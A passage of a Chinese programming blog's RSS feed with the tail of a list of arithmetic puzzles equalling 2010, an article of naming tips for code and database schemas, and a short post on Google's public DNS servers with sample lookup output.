= ((1-2*34)/(.5+(.6-7)/8))*9<br />\n2010 = (1+2*(3+4))*((5/.6)*(7+8)+9)<br />\n2010 = ((1+2)/.3)*((4*5-6)*(7+8)-9)<br />\n2010 = .1+((2/.3)*4*5+.6)*(7+8)+.9<br />\n2010 = .1+((2*3/.4)/.5)*67+.8-.9<br />\n2010 = ((12/.3)*(.4+5)*67/.8)/9<br />\n2010 = ((12/.3)*(.4+5)*67/8)/.9<br />\n2010 = (((1-2*34)/.5)/.6)*(7-8)*9<br />\n2010 = ((1+23)/.4)*5*(6-.7/(8-9))<br />\n2010 = ((1*2/.3)/.4)*(5.6+7+.8)*9<br />\n2010 = ((.1+.2)/.3-4)*(5-(67+8)*9)<br />\n2010 = ((1+.2+.3)/.4)*(5+(67-8)*9)<br />\n2010 = (1*2*3/.4)*((5/.6)*(7+8)+9)<br />\n2010 = (((1/.2)/3+4)*5*(.6+7)+8)*9<br />\n2010 = (((1/2)/.3+4)*5*(.6+7)+8)*9<br />\n2010 = ((1+.2)/.3)*((4-5)/6+7*8)*9<br />\n2010 = 1-(((2-.3)/.4)*56+7)*(.8-9)<br />\n2010 = (1/.2)*3*((4+5)/.6+7*(8+9))<br />\n2010 = (1/.2)*((3+.4*5)*(.6+78)+9)<br />\n2010 = (1/.2)*((3+4*.5)*(.6+78)+9)<br />\n2010 = (1+(2/.3)*(.4+5*6.7)*8)/.9<br />\n2010 = ((1+.2)/.34)*5*(6+.7)*(8+9)<br />\n2010 = ((12/.3)*45+6*(.7+.8))/.9<br />\n2010 = ((1+23)/.4)*5*(6-7*(.8-.9))<br />\n2010 = ((12/.3)/.4)*(5+6-.7+.8+9)<br />\n2010 = ((1-2)/.3)*(.4/.5-67-.8)*9<br />\n2010 = (((.1-.2)/3)/.4+.5)*67*8*9<br />\n2010 = (((1-(23+4)*5)/.6)/(7-8))*9<br />\n2010 = 1-(2+(3/.4)*(5-.6))*7*(.8-9)<br />\n2010 = ((1-.2/3+4/.5)/.6)*(7+8)*9<br />\n2010 = (1+(2/.3)*(.4+.5*67)*8)/.9<br />\n2010 = (((1+2)/.34)/.5)*6.7*(8+9)<br />\n2010 = ((1*2/.3)/.4)*(5+.6+7+.8)*9<br />\n2010 = ((12+3)/.4)*(.5+(6.7-.8)*9)<br />\n2010 = ((.1-2/.3)*4-5)*(.6/.7-8)*9<br />\n2010 = ((1+2-.3)/.4)*5*(6+.7)*8/.9<br />\n2010 = (1+(2+.3)/.4)*5*(6+.7)*8/.9<br />\n2010 = (.1/(.2-.3)+4*(.5/6+7*8))*9<br />\n2010 = ((.1/.2)*3/.4)*(5+(67-8)*9)<br />\n2010 = ((1/.2)*.3/.4)*(5+(67-8)*9)<br />\n2010 = (12/.3)*((4*(.5+6)+7)/.8+9)<br />\n2010 = (1+((2/.3)/.4)*5/6)*(7+8)*9<br />\n2010 = ((1/.2-3)/.4)*(5*(.6+78)+9)<br />\n2010 = (((1-2)/.3)*(.4-5*(6+7))+8)*9<br />\n2010 = ((12+3)/.4)*(.5+(6+.7-.8)*9)<br />\n2010 = (12/.3)*((.4+56)*.7/.8+.9)<br />\n2010 = (1.2/.3)*((.4-.5)/.6+7*8)*9<br />\n2010 = (((.1-2)/.3)*(4/.5-6*7)+8)*9<br />\n2010 = ((12+3)/.4)*(.5+6*(.7+8)+.9)<br />\n2010 = ((.1+.2)/.3+4)*(5*(.6+78)+9)<br />\n2010 = ((1/.2)*3/.4)*(56-.7-.8-.9)<br />\n2010 = ((1/.2)/.3)*(45+(.6+7.8)*9)<br />\n2010 = ((12/(.3-.4))/(5/.67-8))*9<br />\n2010 = ((1/.2)*3*4/.5+.6)*(7+8)/.9<br />\n2010 = ((.1/.2)/(.3+.4+.5))*67*8*9<br />\n2010 = ((1/.2)/(.3+.4+.5))*67*.8*9<br />\n2010 = 1-(2/.3)*(.4-(.5+6*7)*(8-.9))<br />\n2010 = (((1+2)/(3+.4))/.5)*67*(8+9)<br />\n2010 = ((1+2+3)/.4)*((5/.6)*(7+8)+9)<br />\n2010 = ((1+2)/.3)*((4/.5+6)*(7+8)-9)<br />\n2010 = ((1+((2/.3)/.4)/.56)*7+8)*9<br />\n2010 = (((1+2)/.34)/.5)*67*(.8+.9)<br />\n2010 = ((((1+2)/.3)/.4)*5/.6+7+8)*9<br />\n2010 = ((1/.2)*3/.4)*(.5+(67-8)*.9)<br />\n2010 = ((1/.2)/(.3-.4))*(5*6-78*.9)<br />\n2010 = ((.1+2)/.3)*(4-(.5/6)/7)*8*9<br />\n2010 = (((1/.2)/.3)*4/.5+6*(7+8))*9<br />\n2010 = (((.1-2)/.3)*(4-5*(.6+7))+8)*9<br />\n2010 = (((.1/.2)/.3+4)*5*(.6+7)+8)*9<br />\n2010 = ((((1-2*34)/.5)/.6)/(7-8))*9<br />\n2010 = (1+(2/.3)*(.4+5*(6+.7))*8)/.9<br />\n2010 = (((1+2)/.34)/.5)*(6+.7)*(8+9)<br />\n2010 = ((1/.2)*3/.4)*(.5+(6.7-.8)*9)<br />\n2010 = (((1+23)/.4)/.5+.6)*(7+8)/.9<br />\n2010 = ((1/.2+3)/.4)*(.5+6*(7+8)/.9)<br />\n2010 = ((1/.2)/.3+(4*5/.6)*(7-.8))*9<br />\n2010 = (((1+2/.3)/.4)/.5)*6*(.7+8)+9<br />\n2010 = ((1/.2)/.3)*(.4+.5+(6-.7+8)*9)<br />\n2010 = ((1/.2)*3/.4)*(.5+(6+.7-.8)*9)<br />\n2010 = ((1+.2)/.3)*((.4-.5)/.6+7*8)*9<br />\n2010 = ((1/.2)*3/.4)*(.5+6*(.7+8)+.9)<br />\n2010 = ((1/(.2+.3))/.4)*(5*(.6+78)+9)<br />\n2010 = ((1/.2)/.3)*((4+5)*(6-.7+8)+.9)<br />\n2010 = ((1/(.2-.3))/(.4-.5))*(6+7+8-.9)</p>\n<p>文章：<a href=\"http://www.thesamet.com/2010.txt\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/1525.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"GDB 7.0 发布\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1525.html\" class=\"wp_rp_title\">GDB 7.0 发布</a></li><li ><a href=\"https://coolshell.cn/articles/3136.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg\" alt=\"chmod -x chmod的N种解法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3136.html\" class=\"wp_rp_title\">chmod -x chmod的N种解法</a></li><li ><a href=\"https://coolshell.cn/articles/1360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/08/Linux-Stat-150x150.png\" alt=\"谁写了Linux\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1360.html\" class=\"wp_rp_title\">谁写了Linux</a></li><li ><a href=\"https://coolshell.cn/articles/22341.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/12/covid19-150x150.jpg\" alt=\"感染新冠的经历\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22341.html\" class=\"wp_rp_title\">感染新冠的经历</a></li><li ><a href=\"https://coolshell.cn/articles/294.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" alt=\"OSGi和Java企业级运算的未来方向\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/294.html\" class=\"wp_rp_title\">OSGi和Java企业级运算的未来方向</a></li><li ><a href=\"https://coolshell.cn/articles/511.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"未来五年程序员需要掌握的10项技能\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/511.html\" class=\"wp_rp_title\">未来五年程序员需要掌握的10项技能</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2036.html\">2010 = 1+2-(3-4-5)*6*7*8-9</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2036.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>21</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>程序命名的一些提示</title>\n\t\t<link>https://coolshell.cn/articles/1990.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1990.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 06 Jan 2010 00:24:41 +0000</pubDate>\n\t\t\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[Coding]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1990</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>选择一个正确的名字是编程中最重要的事。以前酷壳向大家推荐过两篇文章《编程命名中的7+1个提示》 和《编程中的命名设计那点事》，今天再向大家推荐一篇。一个正确的命...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1990.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1990.html\">程序命名的一些提示</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>选择一个正确的名字是编程中最重要的事。以前酷壳向大家推荐过两篇文章《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1038.html\">编程命名中的7+1个提示</a>》 和《<a title=\"编程中的命名设计那点事\" href=\"https://coolshell.cn/articles/990.html\">编程中的命名设计那点事</a>》，今天再向大家推荐一篇。一个正确的命名可以让你更容易地理解代码的程序，好的命名可以消除二义性，消除误解，并且说明真实的意图，甚至可以让你有清新的气息以让你更能吸引异性。;-)</p>\n<h3>方法，类和变量</h3>\n<div>正确的名字可以让你的程序顾名思义，下面是一些提示：</div>\n<ul>\n<li><strong>不要使用&#8221;<span style=\"font-family: 'courier new', monospace;\">ProcessData()</span>&#8220;这样的命名</strong><br />\n你如果在你的程序生涯中使用这样的函数名，那么这意味着你将是一个不合格的程序员而会被淘汰或解雇。请<strong>明确实际的功能</strong>。比如：<code>ValidateUserLogin（验证用户登录）</code> 或 <code>EliminateDuplicateRequests（去除重复请求）</code> 或 <code>ComputeAverageAge（计算平均年龄），等等。</code></li>\n<li><strong>让命名来帮你设计程序</strong><br />\n让我们假装有这么一条规则是——“任何的函数是有输入/输出的”，那么，你需要思考的是所有的把input变成ouptut的步骤，然后，你可以选择一个简短的句了来说明你的这段程序，然后，把这个短句再精练一下，最终成为你的函数名，而那个短句则成了你程序的结构。</li>\n</ul>\n<p><span id=\"more-1990\"></span></p>\n<ul>\n<li><strong>命令不应该是模糊的</strong><br />\n如果你有一个类名叫：<code>FilterCriteria</code> ，但实际上其可用于文件过滤，那么这个类应该叫做： <code>FileFilterCriteria ，就算是你真要想要用</code> FilterCriteria，那它也应该是抽象类。</li>\n<li><strong>避免过多的工作</strong><br />\n这只是一个风格上的事情，但还是需要注意一下。在上面，我们使用到了 <code>ValidateUserLogin</code> 和 <code>EliminateDuplicateRequests两个名字，这两个命令看上去需要做很多比较复杂的事。所以，让你的名字变简单一些也有利于你的程序更容易阅读和维护。一个软件本来就是由不同的模块拼成，而一个模块又是由更细小的函数和类拼成。编程中，我们都知道，一个函数的尺寸应该控制在200行以内，一个类的接口应该控制在20个以内。所以，从其名字上我们就不要让一个名字取得太大了。</code></li>\n<li><strong>避免类名以 &#8220;Manager&#8221; 结尾</strong><br />\n这样会让你类变成一个黑盒子，当然，有一些程序员喜欢使用这样的名字让那个类看起来好像更强大一些，但其实这样并不好。一般来说使用Manager这个字眼通常是使用工厂模式，或是一个容器，所以，对于一些最基本的算法或是数据结构的封装，最好是在其名字上体现这一算法或数据结构的名字，如： <code>SortedList</code> 和<code>ConnectionPool 。</code></li>\n<li><strong>为你的枚举类型使用单数名字<br />\n</strong>一个枚举类型会列出所有可能的值，所以，叫<code>animalType</code> 会比 <code>animalTypes 要好。</code></li>\n<li><strong>匈牙利命名应该更多的关注名字的含义而不是类型</strong><br />\n<a rel=\"nofollow\" href=\"http://en.wikipedia.org/wiki/Hungarian_notation\">匈牙利命名</a>是一个以前很流行的命名方法，其给出了一整套的方法告诉你如何标记你的变量的类型，但可惜的是很多程序员过多的关注了变量了类型，而不是变量名的含义。而变量名的含义才是根本。</li>\n<li><strong>不要让名字隐藏了内在</strong><br />\n比如，我们有段代码需要处理用户的输入，把其转成UTF-8码，然后标准化（比如一些协议），最后再处理相应的转义字符。千万不要把这函数命名为<code>Escape()</code> ，因为你需要调用 <code>ToUTF8()</code> 以及<code>NormalizeEntities()</code> 最后才是 <code>Escape()</code> 函数。如果你希望使用一个函数名来做这三件事，那么，你宁可使用一个模糊的名字再加上充分的注释，而不是一个确切的名字。模糊的名字会让别人在阅读时想进去看看，而确切的名字则会让别人在阅读代码时忽略细节（这看起来和第一点有点矛盾，其实也是为了程序的易读）。比如：<code>ProcessUserInput()</code></li>\n<li><strong>一致性, <strong>一致性</strong>, <strong>一致性</strong></strong><br />\n强调文章和代码的一致性，就算是文档写得再详细，我们也要去读代码，所以文档主要是体现思路和反映需求和设计。在程序上，我们的命令应当和文档中的术语保持一致，而程序中的命名也应该是用和文档相同的风格，这样，我们可以少很多理解上的成本。</li>\n<li><strong>不要害怕改名<br />\n</strong>有一些时候，你会觉得某具名字不合适，你需要改动一下。但你马上发现要改这个名字，需要修改很多的程序代码。在这里有一个原则，如果你的这个名字不是以API的方式发布时，那么你就应该不要害怕更改名字，就算是修改的工作量并不小，为了日后的更容易的阅读和维护，这是值得的。但是，如果这是一个API的名字，那我还是建议你不要改了，就算是你觉得这个名字烂得很。因为，当你的程序以API的形式发布后，会有N多的他人的程序依赖于这个名字，这个时候，兼容性和用户比什么都重要。</li>\n</ul>\n<h3>Frameworks 和 Libraries</h3>\n<div>你的用户是一个程序员，他需要使用你的代码进行二次开发。 Namespaces 将会是你重点需要注意的东西。</div>\n<div>\n<ul>\n<li><strong>使用namespaces 而不是类的前缀</strong><br />\n希望你的编程序语言支持namespace，这样，你就可以使用它而不是在类名前面加前缀了。如果你所使用的语言不支持namespace，那么你应该上网看看其它程序员使用什么样的方式来区分自己的代码和别人的代码名字空间。</li>\n<li><strong>使用普通的namespace而不是使用公司名</strong><br />\n使用公司名做namespace并不是一个好的相法，因为公司名很容易变更，比如，公司因为被收购，被控告，合并，重组等原因需要更名。产品的名字同样也会改变。所以，使用一个普通的namespaces会好一些。如STL，ACE等。</li>\n</ul>\n</div>\n<h3>数据库</h3>\n<div>Database Schemas 意为数据模型，所以，其名字应该和其领域是合乎逻辑的，而不是为了编程的方便。</div>\n<ul>\n<li><strong>数据表应使用复数</strong><br />\n别使用单数形式，这是因为在远古的ORM 中需要使用单数的形式来定义类名。而且，一个表中包含了许多行数据，所以也应该是复数的。如，&#8221;<span style=\"font-family: 'courier new', monospace;\">items</span>&#8220;, &#8220;<span style=\"font-family: 'courier new', monospace;\">customers</span>&#8220;, &#8220;<span style=\"font-family: 'courier new', monospace;\">journalEntries</span>&#8221; 等等。,</li>\n<li><strong>为那些包括派生数据或是日常处理的表使用aux_ 和meta_ 前缀</strong><br />\n这些表中的数据都是用来做为临时处理的，所以，你需要一个前缀或是后缀来使他们区别于实际的表。</li>\n<li><strong>为主键加入表名<br />\n</strong>如果你有一张表叫 &#8220;<span style=\"font-family: 'courier new', monospace;\">driverLicenses</span>&#8221; 而ID 列是主键，那么你应该把这个主键命名为&#8221;<span style=\"font-family: 'courier new', monospace;\">driverLicense_id</span>&#8221; 而不是&#8221;id&#8221;。这样做的好处是，当你在连接两个表的时候，你不需要为主键指定表名，如： &#8220;<span style=\"font-family: 'courier new', monospace;\">driverLicense.id</span>&#8221; 或&#8221;<span style=\"font-family: 'courier new', monospace;\">vehicle.id</span>&#8220;，也不需要为其取别名。</li>\n<li><strong>使用后缀来标识类</strong><br />\n这样的例子很多，比如：ISBN 和Dewey Decimal numbers，VIN等等.<br />\nJoe Celko有一篇文章叫 <a rel=\"nofollow\" href=\"http://www.amazon.com/gp/product/0120887975?ie=UTF8&amp;tag=synesmedia-20&amp;linkCode=as2&amp;camp=1789&amp;creative=390957&amp;creativeASIN=0120887975\">SQL Programming Style</a>提到了下面这样的风格：<br />\n<span style=\"font-family: 'courier new', monospace;\">_id</span> 主键<br />\n<span style=\"font-family: 'courier new', monospace;\">_nbr</span> 字符串型的数位（有严格的规则，如：车牌号，身份证号，手机号等）<br />\n<span style=\"font-family: 'courier new', monospace;\">_code</span> 标准化编码(如：邮编，ISO 国家编码)<br />\n<span style=\"font-family: 'courier new', monospace;\">_cat</span> 种类名<br />\n<span style=\"font-family: 'courier new', monospace;\">_class</span> 子集<br />\n<span style=\"font-family: 'courier new', monospace;\">_type</span> 稍不正式的类名，比如，驾照中的，&#8221;摩托车&#8221;, &#8220;汽车&#8221;, and &#8220;出租车&#8221; 类型。</li>\n</ul>\n<h3>其它</h3>\n<div>\n<ul>\n<li><strong>对于“物理上”的东西，命名其是什么，而不是做什么</strong><br />\n比如某些物理上的名字，姓名，性别，文件路径，网络链接，文件描述符，下标索引，类的属性，这些都是物理上的东西，所以，其名字应该是标识其是什么，而不是用来做什么。</li>\n<li><strong>对于“逻辑上”的东西，命名其做什么，而不是是什么</strong><br />\n比如某些逻辑上的名字，函数名，数据结构，等。</li>\n<li><strong>避免&#8221;Category&#8221; 问题</strong><br />\n千万别使用&#8221;Category&#8221; 作为你的属性名，因为，你会马上发现，这并不靠谱，因为这就等于什么没有说。与此相类似的还有&#8221;type&#8221; ，&#8221;kind&#8221; ，&#8221;variant&#8221; ，&#8221;classification&#8221; ，&#8221;subcategory&#8221; 等，对于这些名字，没人知道其是什么东西。而应该使用更为明确的分类，如： &#8220;FuelEfficiencyGrade&#8221;, &#8220;PackagingType&#8221;, &#8220;AgeGroup&#8221;, &#8220;Flamability&#8221;, &#8220;AllergenLevel&#8221;, 等等。</li>\n</ul>\n<div>文章：<a href=\"http://sites.google.com/site/yacoset/Home/naming-tips\" target=\"_blank\">来源</a></div>\n</div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/8990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg\" alt=\"Linus：利用二级指针删除单向链表\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8990.html\" class=\"wp_rp_title\">Linus：利用二级指针删除单向链表</a></li><li ><a href=\"https://coolshell.cn/articles/8745.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" alt=\"如此理解面向对象编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8745.html\" class=\"wp_rp_title\">如此理解面向对象编程</a></li><li ><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/muxnt-150x150.jpg\" alt=\"代码执行的效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_title\">代码执行的效率</a></li><li ><a href=\"https://coolshell.cn/articles/5444.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"千万不要把 bool 设计成函数参数\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5444.html\" class=\"wp_rp_title\">千万不要把 bool 设计成函数参数</a></li><li ><a href=\"https://coolshell.cn/articles/5201.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/08/538efefbjw1dt8f6ua5rpg-150x150.gif\" alt=\"重构代码的7个阶段\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5201.html\" class=\"wp_rp_title\">重构代码的7个阶段</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1990.html\">程序命名的一些提示</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1990.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>10</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>google的免费dns服务器</title>\n\t\t<link>https://coolshell.cn/articles/2015.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2015.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[joe]]></dc:creator>\n\t\t<pubDate>Mon, 28 Dec 2009 11:03:34 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[dns]]></category>\n\t\t<category><![CDATA[Google]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2015</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>google推出了自己的免费dns服务器，以供公众使用。服务器地址是： dns1: 8.8.8.8 dns2: 8.8.4.4 我在我的机器上测试了一下： $ ...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2015.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2015.html\">google的免费dns服务器</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>google推出了自己的免费dns服务器，以供公众使用。服务器地址是：</p>\n<p>dns1: 8.8.8.8</p>\n<p>dns2: 8.8.4.4</p>\n<p>我在我的机器上测试了一下：</p>\n<p><span id=\"more-2015\"></span></p>\n<div>$ host -a g.cn 8.8.8.8</div>\n<div>Trying &#8220;g.cn&#8221;</div>\n<div>Using domain server:</div>\n<div>Name: 8.8.8.8</div>\n<div>Address: 8.8.8.8#53</div>\n<div>Aliases:</div>\n<div>;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 33253</div>\n<div>;; flags: qr rd ra; QUERY: 1, ANSWER: 11, AUTHORITY: 0, ADDITIONAL: 0</div>\n<div>;; QUESTION SECTION:</div>\n<div>;g.cn.\t\t\t\tIN\tANY</div>\n<div>;; ANSWER SECTION:</div>\n<div>g.cn.\t\t\t300\tIN\tA\t72.14.203.160</div>\n<div>g.cn.\t\t\t259200\tIN\tNS\tns3.google.com.</div>\n<div>g.cn.\t\t\t10800\tIN\tMX\t10 google.com.s9b2.psmtp.com.</div>\n<div>g.cn.\t\t\t259200\tIN\tNS\tns1.google.cn.</div>\n<div>g.cn.\t\t\t259200\tIN\tNS\tns2.google.com.</div>\n<div>g.cn.\t\t\t86400\tIN\tSOA\tns1.google.com. dns-admin.google.com. 1402219 21600 3600 1209600 300</div>\n<div>g.cn.\t\t\t10800\tIN\tMX\t10 google.com.s9b1.psmtp.com.</div>\n<div>g.cn.\t\t\t10800\tIN\tMX\t10 google.com.s9a2.psmtp.com.</div>\n<div>g.cn.\t\t\t10800\tIN\tMX\t10 google.com.s9a1.psmtp.com.</div>\n<div>g.cn.\t\t\t259200\tIN\tNS\tns1.google.com.</div>\n<div>g.cn.\t\t\t259200\tIN\tNS\tns4.google.com.</div>\n<p>Received 325 bytes from <strong><span style=\"color: #ff0000\">8.8.8.8#53 in 217 ms</span></strong></p>\n<div></div>\n<div>\n<div>$ host -a g.cn 8.8.4.4</div>\n<div>Trying &#8220;g.cn&#8221;</div>\n<div>Using domain server:</div>\n<div>Name: 8.8.4.4</div>\n<div>Address: 8.8.4.4#53</div>\n<div>Aliases:</div>\n<div></div>\n<div>;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 40871</div>\n<div>;; flags: qr rd ra; QUERY: 1, ANSWER: 11, AUTHORITY: 0, ADDITIONAL: 0</div>\n<div></div>\n<div>;; QUESTION SECTION:</div>\n<div>;g.cn.<span> </span>IN<span> </span>ANY</div>\n<div></div>\n<div>;; ANSWER SECTION:</div>\n<div>g.cn.<span> </span>227<span> </span>IN<span> </span>A<span> </span>72.14.203.160</div>\n<div>g.cn.<span> </span>259127<span> </span>IN<span> </span>NS<span> </span>ns3.google.com.</div>\n<div>g.cn.<span> </span>10727<span> </span>IN<span> </span>MX<span> </span>10 google.com.s9b2.psmtp.com.</div>\n<div>g.cn.<span> </span>259127<span> </span>IN<span> </span>NS<span> </span>ns1.google.cn.</div>\n<div>g.cn.<span> </span>259127<span> </span>IN<span> </span>NS<span> </span>ns2.google.com.</div>\n<div>g.cn.<span> </span>86327<span> </span>IN<span> </span>SOA<span> </span>ns1.google.com. dns-admin.google.com. 1402219 21600 3600 1209600 300</div>\n<div>g.cn.<span> </span>10727<span> </span>IN<span> </span>MX<span> </span>10 google.com.s9b1.psmtp.com.</div>\n<div>g.cn.<span> </span>10727<span> </span>IN<span> </span>MX<span> </span>10 google.com.s9a2.psmtp.com.</div>\n<div>g.cn.<span> </span>10727<span> </span>IN<span> </span>MX<span> </span>10 google.com.s9a1.psmtp.com.</div>\n<div>g.cn.<span> </span>259127<span> </span>IN<span> </span>NS<span> </span>ns1.google.com.</div>\n<div>g.cn.<span> </span>259127<span> </span>IN<span> </span>NS<span> </span>ns4.google.com.</div>\n<div></div>\n<div>Received 325 bytes from <span style=\"color: #ff0000\"><strong>8.8.4.4#53 in 196 ms</strong></span></div>\n<div><span style=\"color: #ff0000\"><strong><br />\n</strong></span></div>\n</div>\n<div></div>\n<div>好记又免费，爽哉！！ :)</div>\n<div></div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2023/02/chatgpt-150x150.jpg\" alt=\"我看ChatGPT: 